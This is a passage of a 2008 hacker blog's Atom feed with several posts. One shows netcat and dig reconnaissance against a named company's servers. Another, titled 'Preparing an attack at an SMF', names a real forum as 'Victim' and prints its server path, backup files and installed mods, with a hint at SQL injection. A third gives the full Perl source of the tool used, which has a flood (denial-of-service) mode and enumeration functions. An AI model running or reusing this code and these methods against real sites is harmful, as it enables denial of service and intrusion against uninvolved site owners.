rgb(51, 204, 0);"&gt;DNS fwd/rev mismatch: ns6.carlosslim.com != cust-200-57-141-232.triara.com&lt;br /&gt;ns6.carlosslim.com [200.57.141.232] 80 (http) open&lt;br /&gt;OPTIONS / HTTP/1.1&lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Server: Netscape-Enterprise/6.0&lt;br /&gt;Date: Wed, 05 Nov 2008 23:59:31 GMT&lt;br /&gt;Content-length: 0&lt;br /&gt;Content-type: magnus-internal/directory&lt;br /&gt;Allow: HEAD, GET&lt;br /&gt;&lt;br /&gt;sent 36, rcvd 167&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;~ # &lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;nc -vv ns7.carlosslim.com 80&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;DNS fwd/rev mismatch: ns7.carlosslim.com != cust-200-57-141-233.triara.com&lt;br /&gt;ns7.carlosslim.com [200.57.141.233] 80 (http) open&lt;br /&gt;TRACE / HTTP/1.1&lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Server: Netscape-Enterprise/6.0&lt;br /&gt;Date: Thu, 06 Nov 2008 00:04:44 GMT&lt;br /&gt;Content-length: 37&lt;br /&gt;Content-type: message/http&lt;br /&gt;&lt;br /&gt;TRACE / HTTP/1.1&lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;sent 34, rcvd 174&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;~ #&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;dig @ns6.carlosslim.com localhost SOA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.4.1 &lt;&lt;&gt;&gt; @ns6.carlosslim.com localhost SOA&lt;br /&gt;; (1 server found)&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 16496 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 ;; WARNING: recursion requested but not available  ;; QUESTION SECTION: ;localhost.                     IN      SOA  ;; ANSWER SECTION: localhost.              86400   IN      SOA     tmpyap01.telmex.com. dominios.telmex.com. 1 28800 7200 604800 3600  ;; AUTHORITY SECTION: localhost.              86400   IN      NS      ns6.telmex.com.  ;; ADDITIONAL SECTION: ns6.telmex.com.         600     IN      A       200.57.141.232  ;; Query time: 685 msec ;; SERVER: 200.57.141.232#53(200.57.141.232) ;; WHEN: Wed Nov  5 17:12:21 2008 ;; MSG SIZE  rcvd: 125 &lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3539459401170897598?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3539459401170897598/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3539459401170897598' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3539459401170897598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3539459401170897598'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/wwwcarlosslimcom.html' title='www.carlosslim.com'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3972951635449476473</id><published>2008-11-07T08:39:00.000-08:00</published><updated>2008-11-07T08:41:19.675-08:00</updated><title type='text'>Busco Gente para Clan bitefight.es</title><content type='html'>Hola gente, ya se que es un juego muy friki xD... pero me envicie con el jaja&lt;br /&gt;&lt;br /&gt;Servidor: 15&lt;br /&gt;Clan: H.C.&lt;br /&gt;Nombre del Clan: Hijos de Cain&lt;br /&gt;&lt;br /&gt;algún interesado?, la entrada es publica xD...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3972951635449476473?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3972951635449476473/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3972951635449476473' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3972951635449476473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3972951635449476473'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/busco-gente-para-clan-bitefight.html' title='Busco Gente para Clan bitefight.es'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1531574160546317299</id><published>2008-11-04T08:02:00.000-08:00</published><updated>2008-11-04T08:22:14.916-08:00</updated><title type='text'>Preparing an attack at an SMF</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Victim:&lt;/span&gt; http://www.tinyportalmedia.com&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Method: &lt;/span&gt;Unsafe handling packages&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Used Tool: &lt;/span&gt;&lt;a href="http://xianur0.blogspot.com/2008/11/tool-for-smf-testing.html"&gt;Tool For SMF Testing By Xianur0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;cys #&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;perl smf.pl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Use: smf.pl [option] [Full URL]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Options:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;-f Flood&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;-p Search Directory Setup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;-l Installed Mods List&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;-b Find Temporary&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;cys #&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;perl smf.pl -p  http://www.tinyportalmedia.com/main/&lt;br /&gt;Directory: /home/strzxpz/public_html/main/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;cys #&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;perl smf.pl -b  http://www.tinyportalmedia.com/main/&lt;br /&gt;Temporary File Found: http://www.tinyportalmedia.com/main//index.php~&lt;br /&gt;Temporary File Found: http://www.tinyportalmedia.com/main//Settings.php~&lt;br /&gt;Temporary File Found: http://www.tinyportalmedia.com/main//Settings_bak.php~&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div id="result_box" dir="ltr"&gt;Settings.php~ and Settings_bak.php~ are few false positives, but index.php~ is correct :) ..&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;cys #&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;perl smf.pl -l  http://www.tinyportalmedia.com/main/&lt;br /&gt;Description: TinyPortal&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/TP_0971.zip&lt;br /&gt;Name: bloc:tinyportal&lt;br /&gt;Version: 1.052&lt;br /&gt;&lt;br /&gt;Description: SMF Staff Page&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/staff.zip&lt;br /&gt;Name: vbgamer45:SMFStaff&lt;br /&gt;Version: 1.5.1&lt;br /&gt;&lt;br /&gt;Description: Avatar on Member List&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/avmemlist.zip&lt;br /&gt;Name: alm:avonmemberlist&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Country Flags&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/CountryFlag_1-0-2.tar.gz&lt;br /&gt;Name: jaybachatero:country_flags&lt;br /&gt;Version: 1.0.1&lt;br /&gt;&lt;br /&gt;Description: Global Announcements&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/GlobalAnnouncements_1-0_Final.tar.gz&lt;br /&gt;Name: jaybachatero:ga&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Googlebot &amp;amp; Spiders Mod&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/Googlebot_v2_0_3_only_smf1.1.x.zip&lt;br /&gt;Name: obazavil:googlebot&lt;br /&gt;Version: 2.0.3&lt;br /&gt;&lt;br /&gt;Description: K-Detection&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/K_Detection_v2.2.zip&lt;br /&gt;Name: Nikola:K-Detection&lt;br /&gt;Version: 2.2&lt;br /&gt;&lt;br /&gt;Description: Karma Blocks Package V.04&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/Karma_Blocks_Package_v0.4.zip&lt;br /&gt;Name: Max:Karmablocks&lt;br /&gt;Version: 0.4&lt;br /&gt;&lt;br /&gt;Description: Bear Tabs&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/bear_tabs1.zip&lt;br /&gt;Name: Akulion:BearTabsMod&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Admin Notepad&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/notepad.zip&lt;br /&gt;Name: vbgamer45:AdminNotepad&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Member Notepad&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/PersonalPad.zip&lt;br /&gt;Name: vbgamer45:MemberNotepad&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Profile Comments&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/ProfileComments.zip&lt;br /&gt;Name: vbgamer45:ProfileComments&lt;br /&gt;Version: 1.2.1&lt;br /&gt;&lt;br /&gt;Description: Topic Ratings&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/ratings.tar.gz&lt;br /&gt;Name: grudge:ratings&lt;br /&gt;Version: 1.03&lt;br /&gt;&lt;br /&gt;Description: Topic Solved&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/tsolved_v1.22.tar.gz&lt;br /&gt;Name: grudge:topic_solved&lt;br /&gt;Version: 1.22&lt;br /&gt;&lt;br /&gt;Description: VisualWarning&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/visualwarning132.zip&lt;br /&gt;Name: Grudge:VisualWarning&lt;br /&gt;Version: 1.32&lt;br /&gt;&lt;br /&gt;Description: Zodiac_13Moon&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/zodiac_13moon.zip&lt;br /&gt;Name: koji:Zodiac_13Moon&lt;br /&gt;Version: 2.0&lt;br /&gt;&lt;br /&gt;Description: Inline Attachments&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/InlineAttachmentMod_FromDonationCoderDotCom.zip&lt;br /&gt;Name: mouser_at_donationcoder.com:inlineattachments&lt;br /&gt;Version: 1.0.4.2&lt;br /&gt;&lt;br /&gt;Description: SMFShop&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/SMFShop_3-0_Fresh_Install.zip&lt;br /&gt;Name: daniel15:SMFShop&lt;br /&gt;Version: 3.0&lt;br /&gt;&lt;br /&gt;Description: Personal Message Auto Responder&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/pmAutoRespond_V0-2.zip&lt;br /&gt;Name: MikeMill:pmAutoResponder&lt;br /&gt;Version: 0.2&lt;br /&gt;&lt;br /&gt;Description: Location Mod - Additional Maps&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/gobalopper.locationmod.additionalmaps.zip&lt;br /&gt;Name: gobalopper:locationmod.additional_maps&lt;br /&gt;Version: 1.2&lt;br /&gt;&lt;br /&gt;Description: SMF Gallery Pro&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/smf_gallery_pro.zip&lt;br /&gt;Name: vbgamer45:smfgallerypro&lt;br /&gt;Version: 1.2.2&lt;br /&gt;&lt;br /&gt;Description: SMF Gallery Pro Profile Link&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/profilelink.zip&lt;br /&gt;Name: vbgamer45:proprofilelink&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Welcome Topic Mod&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/93WelcomeTopic.zip&lt;br /&gt;Name: vbgamer45:WelcomeTopic&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: SMF Links&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/26links.zip&lt;br /&gt;Name: vbgamer45:SMFLinks&lt;br /&gt;Version: 1.6.3&lt;br /&gt;&lt;br /&gt;Description: SMF Gallery Pro Recent Profile Images&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/profileimages.zip&lt;br /&gt;Name:&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: SMF Gallery Pro Recent Comments Board Index&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/recentcomments.zip&lt;br /&gt;Name: vbgamer45:recentcommentsboardindex&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: SMF Gallery Pro SSI&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/smfgalleryssi.zip&lt;br /&gt;Name: vbgamer45:smfgalleryprossi&lt;br /&gt;Version: 1.1&lt;br /&gt;&lt;br /&gt;Description: Enhanced Calendar&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/Calendar_1-1.zip&lt;br /&gt;Name: daniel15:Calendar&lt;br /&gt;Version: 1.1&lt;br /&gt;&lt;br /&gt;Description: MySpace Field&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/myspace.zip&lt;br /&gt;Name: snork13:MySpace&lt;br /&gt;Version: 2.4&lt;br /&gt;&lt;br /&gt;Description: DeviantART Field&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/deviantART.zip&lt;br /&gt;Name: stormlrd:DeviantART&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Profile User Action&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/ProfileUserAction_v1.1.zip&lt;br /&gt;Name: Rudolf:profileuseraction&lt;br /&gt;Version: 1.1&lt;br /&gt;&lt;br /&gt;Description: Add Custom Modifications to Aero&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/aero.zip&lt;br /&gt;Name: stormlrd:addmodstothemes&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Signature Dropdown Choices&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/SignatureDropDownsV10.zip&lt;br /&gt;Name: Kays:SignatureDropDowns&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Merge Double Posts&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/DoublePostMerge107.zip&lt;br /&gt;Name: din1031:DoublePostMerge&lt;br /&gt;Version: 1.0.7&lt;br /&gt;&lt;br /&gt;Description: Related Topics&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/related_topics_1.1.1.zip&lt;br /&gt;Name: Niko:RelatedTopic&lt;br /&gt;Version: 1.1.1&lt;br /&gt;&lt;br /&gt;Description: SMF Sitemap&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/smf_sitemap_1.1.3.zip&lt;br /&gt;Name: airridetalk:smf_sitemap&lt;br /&gt;Version: 1.1.3&lt;br /&gt;&lt;br /&gt;Description: Sci-Fi Avatars&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/SciFi.zip&lt;br /&gt;Name: Brandon:SciFi&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Google Member Map&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/GoogleMap.template.zip&lt;br /&gt;Name: TLM:GoogleMapsMod&lt;br /&gt;Version: 0.55&lt;br /&gt;&lt;br /&gt;Description: SMF 1.0.11 / 1.1.3 Update&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.1.3_1.0.11.tar.gz&lt;br /&gt;Name: smf:smf-1.0.11-1.1.3&lt;br /&gt;Version: 1.1&lt;br /&gt;&lt;br /&gt;Description: SMF Gallery Pro Upgrade&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/SMFGalleryUpgrade1.2.2.zip&lt;br /&gt;Name: vbgamer45:smfgalleryproupgrade122&lt;br /&gt;Version: 1.3.21&lt;br /&gt;&lt;br /&gt;Description: FelBlog for SMF&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/felblog_940_smf.zip&lt;br /&gt;Name: feline:FelBlog_SMF&lt;br /&gt;Version: 0.941&lt;br /&gt;&lt;br /&gt;Description: SMF Trader System&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/12Trader.zip&lt;br /&gt;Name: vbgamer45:SMFTraderSystem&lt;br /&gt;Version: 1.1&lt;br /&gt;&lt;br /&gt;Description: SMF 1.0.12 / 1.1.4 / 2.0 b1.1 Update&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.12_1.1.4_2.0.b1.1.tar.gz&lt;br /&gt;Name: smf:smf-1.0.12-1.1.4-2.0.b1.1&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: User Email System&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/useremail.zip&lt;br /&gt;Name: vbgamer45:UserEmailSystem&lt;br /&gt;Version: 1.2&lt;br /&gt;&lt;br /&gt;Description: Contact Page&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/contact.zip&lt;br /&gt;Name: vbgamer45:ContactPage&lt;br /&gt;Version: 1.1&lt;br /&gt;&lt;br /&gt;Description: Bookmarks&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/bookmarks101.zip&lt;br /&gt;Name: aaronvg:bookmarks&lt;br /&gt;Version: 1.0.1&lt;br /&gt;&lt;br /&gt;Description: SMF Classifieds Recent Classifieds Board Index&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/classboardindex.zip&lt;br /&gt;Name: vbgamer45:recentclassboardindex&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: SMF Classifieds&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/SMF_Classifieds_1.0.10.zip&lt;br /&gt;Name: vbgamer45:smfclassifieds&lt;br /&gt;Version: 1.0.10&lt;br /&gt;&lt;br /&gt;Description: MessagePreviewOnHover&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/MessagePreviewOnHover.zip&lt;br /&gt;Name: snork13:MessagePreviewOnHover&lt;br /&gt;Version: 1.5&lt;br /&gt;&lt;br /&gt;Description: Gallery 2 Integration&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/smf_g2-Beta3.1.tar.gz&lt;br /&gt;Name: Oldiesmann:Gallery2&lt;br /&gt;Version: 1.0beta3.1&lt;br /&gt;&lt;br /&gt;Description: SMF Store&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/SMFStore1.2beta.zip&lt;br /&gt;Name: vbgamer45:smfstore&lt;br /&gt;Version: 1.2beta&lt;br /&gt;&lt;br /&gt;Description: Add Domaintools to TrackIP&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/domaintools.zip&lt;br /&gt;Name: Marook:TrackIP_Add_Domaintools&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: SMF Gallery Pro Light Box Addon&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/lightbox.zip&lt;br /&gt;Name: vbgamer45:lightbox&lt;br /&gt;Version: 1.1&lt;br /&gt;&lt;br /&gt;Description: E-Arcade&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/E-Arcade2.5.0.zip&lt;br /&gt;Name: Eric:Arcade&lt;br /&gt;Version: 2.5.0&lt;br /&gt;&lt;br /&gt;Description: SMFChess&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/SMFChess_1.0.zip&lt;br /&gt;Name: Feeble:SMFChess&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: Member Color Link&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/MemberColorLink216.zip&lt;br /&gt;Name: din1031:MemberColorLink&lt;br /&gt;Version: 2.1.6&lt;br /&gt;&lt;br /&gt;Description: MCLegendII.2&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/MCLegendII.2.zip&lt;br /&gt;Name: JB:MCLII&lt;br /&gt;Version: 2.0&lt;br /&gt;&lt;br /&gt;Description: SMF 1.0.13 / 1.1.5 / 2.0 b3.1 Update&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.13_1.1.5_2.0-b3.1.tar.gz&lt;br /&gt;Name: smf:smf-1.0.13-1.1.5-2.0.b3.1&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;Description: SMF Store Upgrade&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/SMFStore1.2.1upgrade.zip&lt;br /&gt;Name: vbgamer45:smfstoreupgrade&lt;br /&gt;Version: 1.2.4&lt;br /&gt;&lt;br /&gt;Description: SMF 1.0.14 / 1.1.6 Update&lt;br /&gt;File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.14-1.1.6_1.zip&lt;br /&gt;Name: smf:smf-1.0.14-1.1.6&lt;br /&gt;Version: 1.0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Now is reviewing the package ... I see at least one with SQL Injection: P. ..&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saludos! :P...&lt;br /&gt;Xianur0 Was Here xD...&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1531574160546317299?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1531574160546317299/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1531574160546317299' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1531574160546317299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1531574160546317299'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/preparing-attack-at-smf.html' title='Preparing an attack at an SMF'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1107236840659835038</id><published>2008-11-04T07:32:00.000-08:00</published><updated>2008-11-04T08:10:00.913-08:00</updated><title type='text'>Tool For SMF Testing</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# By Xianur0&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use Getopt::Std;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my $url = $ARGV[1] || die ("Use: smf.pl [Full URL] [option]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;$ua-&amp;gt;agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');&lt;br /&gt;&lt;br /&gt;      getopts('fplb', \%opt);&lt;br /&gt;      flood() if $opt{f};&lt;br /&gt;      path() if $opt{p};&lt;br /&gt;      list() if $opt{l};&lt;br /&gt;      temp() if $opt{b};&lt;br /&gt;&lt;br /&gt;sub headers {&lt;br /&gt;$req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;$req-&amp;gt;header('Accept-Language' =&amp;gt; 'es-es,es;q=0.8,en-us;q=0.5,&lt;br /&gt;en;q=0.3');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub path {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url.'/SSI.php?ssi_layers');&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;   my $html = $res-&amp;gt;content;&lt;br /&gt;   my @htmls = split('Undefined variable: ssi_layers in &amp;lt;b&amp;gt;', $html);&lt;br /&gt;   my @htmls = split('SSI.php&amp;lt;/b&amp;gt;', $htmls[1]);&lt;br /&gt;  if($htmls[0] ne "") { print "Directory: $htmls[0]\n"; } else { print "Getting error Directory!\n";}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub flood {&lt;br /&gt;print "Starting Flood! (Press Ctrl + C To Finish)\n";&lt;br /&gt;$texto = "Flood!!!!!" x 15;&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url.'/index.php?action=help;page['.$texto.']=loginout');&lt;br /&gt;&amp;headers;&lt;br /&gt;for($i = 1; $i&amp;lt;10000; $i++) {&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;print "Sent: ".$i."\n";&lt;br /&gt;} else {&lt;br /&gt;print "HTTP Error Query: " . $res-&amp;gt;status_line . "\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub temp {&lt;br /&gt;@temps=('index.php~','Settings.php~','Settings_bak.php~');&lt;br /&gt; foreach $temp (@temps) {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url."/".$temp);&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;print "Temporary File Found: ".$url."/".$temp."\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub list {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url."/Packages/installed.list");&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;   my $html = $res-&amp;gt;content;&lt;br /&gt;my @htmls = split("\n", $html);&lt;br /&gt; foreach $mod (@htmls) {&lt;br /&gt;my @mod = split('\|\^\|', $mod);&lt;br /&gt;print "Description: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1107236840659835038?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1107236840659835038/comments/default' title='Enviar comentarios'/><link rel='replies' 